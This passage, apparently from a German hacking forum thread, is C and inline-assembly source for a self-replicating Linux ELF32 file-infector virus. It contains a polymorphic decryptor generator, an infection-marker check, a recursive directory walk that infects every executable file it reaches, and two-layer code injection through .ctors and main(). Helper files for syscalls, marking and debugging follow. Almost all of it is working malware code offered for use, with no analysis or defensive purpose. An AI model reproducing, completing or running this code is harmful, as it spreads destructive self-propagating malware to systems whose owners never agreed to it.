    asm(".byte 0x0F,0x84,0x5F,0x01,0x00,0x00,0xD1,0xEA,0x73,0x07, 0x4E,0x0F,0x84,0x5E,0x01,0x00");
    asm(".byte 0x00,0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84,0x60,0x01, 0x00,0x00,0xD1,0xEA,0x73,0x07");
    asm(".byte 0x4E,0x0F,0x84,0x62,0x01,0x00,0x00,0xD1,0xEA,0x73, 0x0E,0x4E,0x0F,0x84,0x65,0x01");
    asm(".byte 0x00,0x00,0x4E,0x0F,0x84,0x6E,0x01,0x00,0x00,0xD1, 0xEA,0x73,0x0E,0x4E,0x0F,0x84");
    asm(".byte 0x70,0x01,0x00,0x00,0x4E,0x0F,0x84,0x79,0x01,0x00, 0x00,0xD1,0xEA,0x73,0x0E,0x4E");
    asm(".byte 0x0F,0x84,0x7F,0x01,0x00,0x00,0x4E,0x0F,0x84,0x97, 0x01,0x00,0x00,0xD1,0xEA,0x73");
    asm(".byte 0x07,0x4E,0x0F,0x84,0xA4,0x01,0x00,0x00,0xD1,0xEA, 0x73,0x07,0x4E,0x0F,0x84,0xA0");
    asm(".byte 0x01,0x00,0x00,0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84, 0xA3,0x01,0x00,0x00,0xD1,0xEA");
    asm(".byte 0x73,0x0E,0x4E,0x0F,0x84,0xA6,0x01,0x00,0x00,0x4E, 0x0F,0x84,0xB0,0x01,0x00,0x00");
    asm(".byte 0xD1,0xEA,0x73,0x07,0x4E,0x0F,0x84,0xB0,0x01,0x00, 0x00,0xD1,0xEA,0x73,0x0E,0x4E");
    asm(".byte 0x0F,0x84,0xB7,0x01,0x00,0x00,0x4E,0x0F,0x84,0xB7, 0x01,0x00,0x00,0xD1,0xEA,0x73");
    asm(".byte 0x07,0x4E,0x0F,0x84,0xB3,0x01,0x00,0x00,0xE9,0xBC, 0xFE,0xFF,0xFF,0x0C,0x88,0xAA");
    asm(".byte 0xB0,0xC0,0x0B,0x45,0xE4,0x0B,0x45,0xF0,0xAA,0xC3, 0x0C,0x8A,0xAA,0xB0,0xC0,0x0B");
    asm(".byte 0x45,0xE0,0x0B,0x45,0xF4,0xAA,0xC3,0xB0,0xB0,0x0B, 0x45,0xF8,0x0B,0x45,0xF0,0xAA");
    asm(".byte 0xE9,0x8D,0x01,0x00,0x00,0x0C,0xC6,0xAA,0xB0,0xC0, 0xEB,0xF0,0xB0,0x0F,0xAA,0xB0");
    asm(".byte 0xB6,0x0B,0x45,0xFC,0x0B,0x45,0xD4,0xAA,0xB0,0xC0, 0x0B,0x45,0xC4,0xEB,0xD3,0x0C");
    asm(".byte 0x86,0xAA,0xB0,0xC0,0x0B,0x45,0xE0,0x0B,0x45,0xE8, 0xAA,0xC3,0x0C,0x86,0xAA,0xEB");
    asm(".byte 0xF1,0xB0,0x8D,0xAA,0xB0,0x05,0x0B,0x45,0xC4,0xAA, 0xE9,0x59,0x01,0x00,0x00,0x0C");
    asm(".byte 0x00,0x0B,0x45,0xCC,0xAA,0xEB,0x99,0x0C,0x02,0x0B, 0x45,0xCC,0xAA,0xEB,0x9E,0x0C");
    asm(".byte 0x80,0xAA,0xB0,0xC0,0x0B,0x45,0xCC,0x0B,0x45,0xF0, 0xAA,0xE9,0x32,0x01,0x00,0x00");
    asm(".byte 0xF7,0x45,0x14,0x01,0x00,0x00,0x00,0x0F,0x84,0x2C, 0xFE,0xFF,0xFF,0x0C,0x04,0x0B");
    asm(".byte 0x45,0xCC,0xAA,0xE9,0x1A,0x01,0x00,0x00,0x0C,0xFE, 0xAA,0xB0,0xC0,0x0B,0x45,0xD4");
    asm(".byte 0xE9,0x60,0xFF,0xFF,0xFF,0xB0,0x40,0x0B,0x45,0xD4, 0x0B,0x45,0xC8,0xAA,0xC3,0x0C");
    asm(".byte 0xF6,0xAA,0xB0,0xD0,0x0B,0x45,0xD4,0xE9,0x49,0xFF, 0xFF,0xFF,0x0C,0x84,0xAA,0xB0");
    asm(".byte 0xC0,0x0B,0x45,0xB4,0x0B,0x45,0xB0,0xAA,0xC3,0x0C, 0xF6,0xAA,0xB0,0xC0,0x0B,0x45");
    asm(".byte 0xB8,0xAA,0xE9,0xDB,0x00,0x00,0x00,0xB0,0x0F,0xAA, 0xB0,0xAF,0xAA,0xB0,0xC0,0x0B");
    asm(".byte 0x45,0xC4,0x0B,0x45,0xC0,0xAA,0xC3,0xB0,0x69,0xAA, 0xE8,0xEE,0xFF,0xFF,0xFF,0xE9");
    asm(".byte 0xC4,0x00,0x00,0x00,0x0C,0xD0,0x0B,0x45,0xD8,0xAA, 0xB0,0xC0,0x0B,0x45,0xCC,0x0B");
    asm(".byte 0x45,0xF0,0xAA,0xC3,0x0C,0xC0,0xAA,0xB0,0xC0,0x0B, 0x45,0xCC,0x0B,0x45,0xF0,0xAA");
    asm(".byte 0xE9,0xAD,0x00,0x00,0x00,0xB0,0x0F,0xAA,0xB0,0xA4, 0x0B,0x45,0xD4,0xAA,0xB0,0xC0");
    asm(".byte 0xE8,0x05,0x00,0x00,0x00,0xE9,0x98,0x00,0x00,0x00, 0xB0,0xC0,0x0B,0x45,0xBC,0x0B");
    asm(".byte 0x45,0xC8,0xAA,0xC3,0xF7,0x45,0x10,0x02,0x00,0x00, 0x00,0x0F,0x84,0x78,0xFD,0xFF");
    asm(".byte 0xFF,0xB0,0x0F,0xAA,0xB0,0xA5,0x0B,0x45,0xD4,0xAA, 0xEB,0xDE,0xB0,0x0F,0xAA,0xB0");
    asm(".byte 0xC8,0xEB,0xDC,0xB0,0x0F,0xAA,0xB0,0xC0,0x0B,0x45, 0xFC,0xAA,0xE9,0xE1,0xFE,0xFF");
    asm(".byte 0xFF,0xB0,0x0F,0xAA,0xB0,0xBC,0x0B,0x45,0xDC,0xAA, 0xE9,0x6E,0xFF,0xFF,0xFF,0xB0");
    asm(".byte 0x0F,0xAA,0xB0,0xBA,0xAA,0xB0,0xE0,0x0B,0x45,0xD0, 0x0B,0x45,0xC8,0xAA,0xEB,0x42");
    asm(".byte 0xB0,0x0F,0xAA,0xB0,0xA3,0x0B,0x45,0xD0,0xAA,0xEB, 0x9F,0x66,0xB8,0xEB,0x01,0x66");
    asm(".byte 0xAB,0xB8,0x00,0x01,0x00,0x00,0xE8,0x33,0x00,0x00, 0x00,0xAA,0xC3,0xB0,0x26,0x0B");
    asm(".byte 0x45,0xD0,0xAA,0xC3,0xB0,0x64,0x0B,0x45,0xDC,0xAA, 0xC3,0xB0,0xF2,0x0B,0x45,0xDC");
    asm(".byte 0xAA,0xC3,0x83,0x7D,0xFC,0x00,0x74,0x0A,0xE8,0x00, 0x00,0x00,0x00,0xE8,0x00,0x00");
    asm(".byte 0x00,0x00,0xB8,0x00,0x01,0x00,0x00,0xE8,0x02,0x00, 0x00,0x00,0xAA,0xC3,0x60,0x50");
    asm(".byte 0xFF,0x75,0x08,0xFF,0x55,0x28,0x83,0xC4,0x08,0x89, 0x44,0x24,0x1C,0x61,0x0B,0xC0");
    asm(".byte 0xC3,0xB8,0x08,0x00,0x00,0x00,0xE8,0xE3,0xFF,0xFF, 0xFF,0xC3,0x8B,0x55,0x10,0xEB");
    asm(".byte 0x0D,0x8B,0x55,0x14,0xEB,0x08,0x8B,0x55,0x10,0x0B, 0x55,0x14,0xEB,0x00,0xE8,0xDE");
    asm(".byte 0xFF,0xFF,0xFF,0x8B,0xC8,0x83,0x7D,0xFC,0x00,0x75, 0x03,0x83,0xE1,0x03,0x0F,0xA3");
    asm(".byte 0xCA,0x73,0xEB,0xC3");
    
    static uint32_t random(globals *gl, uint32_t range)
    {
    return (gl->seed = gl->seed * 214013 + 2531011) % range;
    }
    
    static int alloc_reg(uint8_t *mask) {
    int i;
    for (i = random(g, 8) ; ; i = (i + 1) & 7)
    if (*mask & (1 << i)) {
    *mask &= ~(1 << i);
    return i;
    }
    }
    
    static void free_reg(int reg, uint8_t *mask) {
    *mask |= (1 << reg);
    }
    
    static uint8_t *trash(globals *gl, uint8_t *ptr, uint32_t regfree) {
    int s;
    etg(gl, ETG_ALL-ETG_SEG-ETG_REP,
    REG_ALL, regfree, &s, 8, 128, ptr, gl->random);
    return ptr + s;
    }
    
    static int make_decryptor(uint8_t *buf, uint8_t *src, uint32_t src_va, uint32_t src_sz)
    {
    #define    emit1(x)    *buf++ = x
    #define emit2(x,y)    do { *buf++ = x; *buf++ = y; } while(0)
    #define    emit4(x)    do { *(uint32_t*)buf = x; buf += 4; } while(0)
    uint8_t free_regs = 0xcf, *label, *orig_buf, saved_regs[8], *sz;
    uint32_t crc_reg, dst_reg, push_count;
    
    void codegen(uint32_t cmdargs, uint32_t cmdtype, uint32_t dst, uint32_t src) {
    int s = 0;
    cg(g, buf, &s, free_regs, NULL,
    cmdtype == cmd_cmp ? NULL : (void*)g->trash, g->random,
    cmdargs, cmdtype, dst, src);
    buf += s;
    }
    
    orig_buf = buf;
    uint32_t key = random(g, -1);
    /* encrypt body */
    int i, j;
    uint32_t x, crc = key;
    for (i = 0; i < src_sz; i++) {
    for (j = 0; j < 256; j++) {
    x = crc32c_intel(crc, j);
    if ((x >> 24) == src[i]) {
    *buf++ = j;
    crc = x;
    break;
    }
    }
    }
    sz = buf;
    emit4(0);
    #ifdef    DEBUG
    emit4(0x90909090);
    emit4(0x90909090);
    #endif
    /* save regs */
    push_count = 0;
    if (random(g, 8) == 7) {
    emit1(0x60);
    push_count--;
    } else {
    uint8_t reg, mask = ~(REG_ESP | REG_EAX | REG_ECX);
    while (mask != 0) {
    reg = alloc_reg(&mask);
    emit1(0x50 | reg);
    saved_regs[push_count++] = reg;
    }
    }
    
    /* init vars */
    crc_reg = alloc_reg(&free_regs); codegen(cmd_r_c, cmd_mov, crc_reg, key);    /* initial crc value */
    dst_reg = alloc_reg(&free_regs); codegen(cmd_r_c, cmd_mov, dst_reg, src_va);    /* encrypted body start */
    
    /* loop label */
    label = buf;    
    
    /* crc32b crc_reg, [dst_reg] */
    emit4(0xf0380ff2);
    emit1((crc_reg << 3) | dst_reg);
    
    /* (byte) [dst_reg] <- MSB(crc_reg) */
    uint32_t t0;
    for (;;) {
    t0 = alloc_reg(&free_regs);
    if (t0 < 3)
    break;
    free_reg(t0, &free_regs);
    }
    codegen(cmd_r_r, cmd_mov, t0, crc_reg);
    emit2(0xc1, 0xe8 | t0);    emit1(0x18);    /* shr t0, 24 */
    emit2(0x88, (t0 << 3) | dst_reg);    /* mov byte [dst_reg], t0 */
    free_reg(t0, &free_regs);
    
    codegen(cmd_r_c, cmd_add, dst_reg, 1);
    codegen(cmd_r_c, cmd_cmp, dst_reg, src_va + src_sz);
    
    /* JB loop */
    emit2(0x0f, 0x82);
    emit4(-(buf - label + 4));
    
    /* restore regs */
    if (push_count == -1)
    emit1(0x61);
    else
    while (push_count > 0)
    emit1(0x58 | saved_regs[--push_count]);
    
    /* jmp virus start */
    int length = buf - orig_buf + 5;
    emit1(0xe9);
    emit4(-length);
    
    *(uint32_t*)sz = length;
    return length;
    }
    
    static int check_elf_header(Elf32_Ehdr *ehdr)
    {
    if (ehdr->e_type != ET_EXEC || ehdr->e_machine != EM_386 ||
    ehdr->e_version != EV_CURRENT ||
    (ehdr->e_ident[EI_OSABI] != ELFOSABI_NONE &&
    ehdr->e_ident[EI_OSABI] != ELFOSABI_TARGET))
    return 1;
    /* already infected? */
    if (*((char*)ehdr + 15))
    return 1;
    return 0;
    }
    
    static Elf32_Shdr *find_ctors(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr)
    {
    int i;
    char ctors[8];
    *(uint32_t*)(ctors + 0) = 0x6f74632e;
    *(uint32_t*)(ctors + 4) = 0x00007372;    
    if (ehdr->e_shstrndx == SHN_UNDEF)
    return NULL;
    char *strtab = (char*)ehdr + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 1; i < ehdr->e_shnum; i++)
    if (! strcmp(strtab + shdr[i].sh_name, ctors))
    return &shdr[i];
    return NULL;
    
    }
    
    static Elf32_Phdr *find_last_PT_LOAD(Elf32_Ehdr *ehdr)
    {
    Elf32_Phdr *phdr, *ph;
    int i;
    phdr = (Elf32_Phdr*)((char*)ehdr + ehdr->e_phoff);
    ph = NULL;
    for (i = 0; i < ehdr->e_phnum; i++)
    if (phdr[i].p_type == PT_LOAD && (ph == NULL || phdr[i].p_vaddr > ph->p_vaddr))
    ph = &phdr[i];
    return ph;
    }
    
    static uint32_t *find_pmain(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr)
    {
    int i, j;
    for (i = 1; i < ehdr->e_shnum; i++)
    if (ehdr->e_entry >= shdr[i].sh_addr && ehdr->e_entry < shdr[i].sh_addr + shdr[i].sh_size) {
    uint8_t *p = (char*)ehdr + shdr[i].sh_offset;
    /* FIXME! This is ugly! */
    for (j = 0; j < 64; j++)
    if (p[j] == 0x68 && p[j + 5] == 0xe8)
    return (uint32_t*)(p + j + 1);
    }
    return NULL;
    }
    
    static void infect(char *filename)
    {
    int h, l, i;
    char *m;
    Elf32_Ehdr *ehdr;
    Elf32_Phdr *ph;
    Elf32_Shdr *shdr, *sh;
    uint32_t *layer1_entry = NULL, *layer2_entry = NULL;
    uint32_t layer2_offs, layer2_addr;    
    int tl, dl;
    Elf32_Sym *sym;
    char *str;    
    uint8_t *buf, *src;
    
    /* open victim, check size, mmap... */    
    if ((h = open(filename, 2)) < 0)
    return;
    if ((l = lseek(h, 0, 2)) < MIN_VICTIM_SIZE || l > MAX_VICTIM_SIZE)
    goto _close;
    m = (void*)mmap(0x1000, l, PROT_READ|PROT_WRITE, MAP_SHARED, h, 0);
    if (m > (char*)0xfffff000)
    goto _close;
    /* check ELF header */
    ehdr = (Elf32_Ehdr*)m;
    if (check_elf_header(ehdr))
    goto _unmap;    
    shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
    
    /* WRITE LAYER 1 */
    if ((sh = find_ctors(ehdr, shdr)) == NULL)
    goto _unmap;
    layer1_entry = (uint32_t*)(m + sh->sh_offset - 4);
    for (sh = NULL, i = 0; i < ehdr->e_shnum; i++)
    if (shdr[i].sh_type == SHT_HASH)
    sh = &shdr[i];
    if (sh == NULL)
    goto _unmap;
    /* find symbol table and strings */
    i = sh->sh_link;
    sym = (Elf32_Sym*)(m + shdr[i].sh_offset);
    i = shdr[i].sh_link;
    str = (char*)(m + shdr[i].sh_offset);
    /* rebuild hash */
    uint32_t *hash = (uint32_t*)(m + sh->sh_offset), nb = hash[0], nc = hash[1];
    if (((int)(nb - (g->layer1_size + 3) / 4)) < 1)
    goto _unmap;
    bzero(m + sh->sh_offset, (nb + nc + 2) * 4);
    nb -= (g->layer1_size + 3) / 4;
    build_hash(hash, nb, nc, sym, str);
    /* write layer 1 */
    i = (2 + nb + nc) * 4;
    memcpy(m + sh->sh_offset + i, (void*)g->layer1_addr, g->layer1_size);
    /* update .ctors */
    layer1_entry[0] = 0xffffffff;
    layer1_entry[1] = sh->sh_addr + i;
    
    /* WRITE LAYER 2 */
    if ((ph = find_last_PT_LOAD(ehdr)) == NULL)
    goto _unmap;
    layer2_offs = ph->p_offset + ph->p_filesz;
    layer2_addr = ph->p_vaddr + ph->p_filesz;
    if ((layer2_entry = find_pmain(ehdr, shdr)) == NULL)
    goto _unmap;
    tl = g->layer2_size + 4;
    buf = sbrk(tl + 4096);
    src = sbrk(tl);
    memcpy(src, (void*)g->layer2_addr, g->layer2_size);
    *(uint32_t*)(src + 6) = *layer2_entry; /* save old main() address */
    *(uint32_t*)(src + g->layer2_size) = layer1_entry[1]; /* save new layer1 address */
    dl = make_decryptor(buf, src, layer2_addr, tl);
    MAKE_HOLE(layer2_offs, dl);
    memcpy(m + layer2_offs, buf, dl);
    ph->p_filesz += dl;
    if (ph->p_memsz < ph->p_filesz)
    ph->p_memsz = ph->p_filesz;
    ph->p_flags |= PF_X | PF_R;
    ph->p_align = 0x1000;
    SHIFT_SHDRS(layer2_offs, dl);
    *layer2_entry = layer2_addr + tl + 4;    /* +4 for length, see make_decryptor */
    brk(g->savebrk);
    g->lastbrk = g->savebrk;
    
    m[15]++;
    _unmap:    munmap(m, l);
    _close:    close(h);
    }
    
    static void search(char *dir_name)
    {
    struct stat sbuf;
    struct dirent d;
    int h;
    char ddot[3] = { '.', '.', '\0' };
    
    if (dir_name == NULL)
    dir_name = ddot + 1;
    if ((h = open(dir_name, 0)) < 0)
    return;
    while (readdir(h, &d)) {
    if (d.d_name[0] == '.')
    if (d.d_name[1] == '\0' || *(uint16_t*)(d.d_name + 1) == 0x2e)
    continue;
    lstat(d.d_name, &sbuf);
    if (S_ISLNK(sbuf.st_mode))
    continue;
    if (chdir(d.d_name) == 0) {
    search(ddot + 1);
    chdir(ddot);
    } else {
    if (access(d.d_name, X_OK) == 0)
    infect(d.d_name);
    }
    }
    close(h);
    }
    
    extern void layer1(void);
    extern void layer1_e(void);
    void virus(int esp)
    {
    globals glob;
    g = &glob;
    
    /* setup data */
    g->layer2_addr = (uint32_t)__builtin_return_address(0) - 5;
    g->layer2_size = (uint32_t)&virus_end - (uint32_t)&virus_start;
    g->layer1_addr = *(uint32_t*)(g->layer2_addr + g->layer2_size);
    g->layer1_size = (uint32_t)&layer1_e - (uint32_t)&layer1;
    g->random = g->layer2_addr + (uint32_t)&random - (uint32_t)&virus_start;
    g->trash = g->layer2_addr + (uint32_t)&trash - (uint32_t)&virus_start;
    g->seed = time(0) ^ getpid();
    g->lastbrk = NULL;
    search(NULL);
    uint32_t sz = *(uint32_t*)(g->layer2_addr + g->layer2_size + 4);
    #ifdef    DEBUG    
    putx4(g->layer1_size);
    putc(' ');
    putx4(g->layer2_size);
    putc(' ');
    putx4(sz);
    putc(10);
    #endif
    /* move itself to the new memory location */
    uint32_t nloc;
    nloc = mmap(NULL, g->layer2_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    memcpy((void*)nloc, (void*)g->layer2_addr, g->layer2_size);
    mprotect(nloc, g->layer2_size, PROT_READ|PROT_EXEC);
    asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r"(nloc):"%eax");
    /* clean .bss area */
    bzero((void*)g->layer2_addr, sz);
    /* adjust return address */
    *(uint32_t*)(&esp - 1) = (nloc + 5);
    }
    asm("virus_end:");
    asm(".long layer1");    /* address of layer 1 */
    asm(".long 0");    /* size of virus + decryptor */
    asm(".globl main; main: jmp virus_start");
    Code:
    set_mark.c
    
    
    #include <elf.h>
    int main(int argc, char **argv)
    {
    if (argc < 2)
    return 2;
    int h = open(argv[1], 2);
    Elf32_Ehdr ehdr;
    if (h < 0)
    return 2;
    pread(h, &ehdr, sizeof(Elf32_Ehdr), 0);
    ehdr.e_ident[15] = 1;
    ehdr.e_shoff = 0;
    ehdr.e_shnum = 0;
    pwrite(h, &ehdr, sizeof(Elf32_Ehdr), 0);
    close(h);
    return 0;
    }
    Code:
    testcrc32.c
    
    #include <stdint.h>
    #include <assert.h>
    
    static uint32_t crc32c_intel(uint32_t crc, uint8_t data)
    {
    int i;
    crc ^= data;
    for (i = 0; i < 8; i++)
    crc = (crc >> 1) ^ ((crc & 1) ? 0x82F63B78 : 0);
    return crc;
    }
    
    main()
    {
    /* http://msdn.microsoft.com/en-us/library/bb514036.aspx */
    unsigned int crc = 1;
    unsigned char input = 100;
    unsigned int res = crc32c_intel(crc, input);
    printf("Result res: %u\n", res);
    assert(res == 1412925310);
    }
    Code:
    syscalls.h
    
    
    
    /* Syscalls */
    asm(    "_syscall:\n"
    "    pusha\n"
    "    mov    36(%esp),%eax\n"
    "    mov    40(%esp),%ebx\n"
    "    mov    44(%esp),%ecx\n"
    "    mov    48(%esp),%edx\n"
    "    mov    52(%esp),%esi\n"
    "    mov    56(%esp),%edi\n"
    "    mov    60(%esp),%ebp\n"
    "    int    $0x80\n"
    "    mov    %eax,28(%esp)\n"
    "    popa\n"
    "    ret\n");
    extern unsigned int _syscall();
    #define exit(a)    _syscall(1, a)
    #define read(a,b,c)    _syscall(3, a,b,c)
    #define    write(a,b,c)    _syscall(4, a,b,c)
    #define open(a,b)    _syscall(5, a,b)
    #define    close(a)    _syscall(6, a)
    #define    creat(a,b)    _syscall(8, a,b)
    #define    chdir(a)    _syscall(12, a)
    #define time(a)    _syscall(13, a)
    #define lseek(a,b,c)    _syscall(19, a,b,c)
    #define    getpid()    _syscall(20)
    #define    access(a,b)    _syscall(33, a,b)
    #define    rename(a,b)    _syscall(38, a,b)
    #define    brk(a)    _syscall(45, a)
    #define    signal(a,b)    _syscall(48, a,b)
    #define    sigaction(a,b,c)    _syscall(67, a,b,c)
    #define readdir(a,b)    _syscall(89, a,b)
    #define munmap(a,b)    _syscall(91, a,b)
    #define    ftruncate(a,b)    _syscall(93, a,b)
    #define    lstat(a,b)    _syscall(107,a,b)
    #define    mprotect(a,b,c)    _syscall(125,a,b,c)
    #define    mremap(a,b,c,d)    _syscall(163,a,b,c,d)
    #define pwrite(a,b,c,d,e)    _syscall(181,a,b,c,d,e)
    #define mmap(a,b,c,d,e,f)    _syscall(192,a,b,c,d,e,f)
    
    #define    R_OK    4    /* Test for read permission. */
    #define    W_OK    2    /* Test for write permission. */
    #define    X_OK    1    /* Test for execute permission. */
    #define    F_OK    0    /* Test for existence. */

    Code:
    debug.c
    
    
    void putc(char c)
    {
    write(1, &c, 1);
    }
    
    void putx1(uint8_t x)
    {
    putc(x > 9 ? x - 10 + 'a' : x + '0');
    }
    
    void putx2(uint8_t x)
    {
    putx1(x >> 4);
    putx1(x & 15);
    }
    void puts(char *s)
    {
    while (*s)
    putc(*s++);
    putc(10);
    }
    void putx4(uint32_t x)
    {
    int i;
    for (i = 28; i >= 0; i -= 4)
    putx1((x >> i) & 15);
    }

    Mit vielen Grüße,

    ~H4wk
    Geändert von H4wk (12.06.2015 um 17:57 Uhr)

Ähnliche Themen

  1. [Source Code] VB6 Code snippets
    Von Trillium im Forum Komponenten & Source Codes
    Antworten: 6
    Letzter Beitrag: 10.06.2015, 13:41
  2. Brauch den Source code O_o?
    Von s1ckST4R im Forum (X)HTML & CSS
    Antworten: 13
    Letzter Beitrag: 21.06.2010, 09:13

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •